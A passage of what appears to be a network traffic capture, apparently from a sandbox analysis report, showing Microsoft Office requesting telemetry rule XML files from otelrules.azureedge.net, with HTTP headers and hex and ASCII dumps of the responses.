2024-11-18 16:24:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:23 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-16547b76f7ftnm6xhC1DFW9c8c00000005rg000000002u8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:24 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:24 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-1866b5c5fbb2cz68hC1DFW9ytc000000054g000000008uh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:24 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:24 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-16547b76f7fhvzzthC1DFW5570000000062000000000pkf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 16:24:24 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:24 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 787388c3-601e-0070-268f-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-164f84587bfbvgrghC1DFWbs7w00000006100000000092bu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:24 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-16547b76f7f6nr89hC1DFWz7ug00000002b000000000ezq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:24 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162424Z-164f84587bfdfkt7hC1DFW4fas00000003zg00000000p9vm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:25 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1b688191-f01e-0099-323e-389171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162425Z-164f84587bfsqsthhC1DFWh630000000052000000000qgxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:25 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 32a1e0c1-401e-0048-618a-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162425Z-164f84587bffvwt9hC1DFW2ktw00000003tg00000000b0ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:25 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 68acba38-501e-000a-677f-380180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162425Z-16547b76f7ff9zf4hC1DFW2pfc00000003n000000000d8es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:25 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162425Z-16547b76f7fp6s5dhC1DFWe28g000000037g00000000m7qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:25 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: cfc1385c-801e-0083-58d2-37f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162425Z-1866b5c5fbbfrdddhC1DFW7e90000000024g00000000619k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:26 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
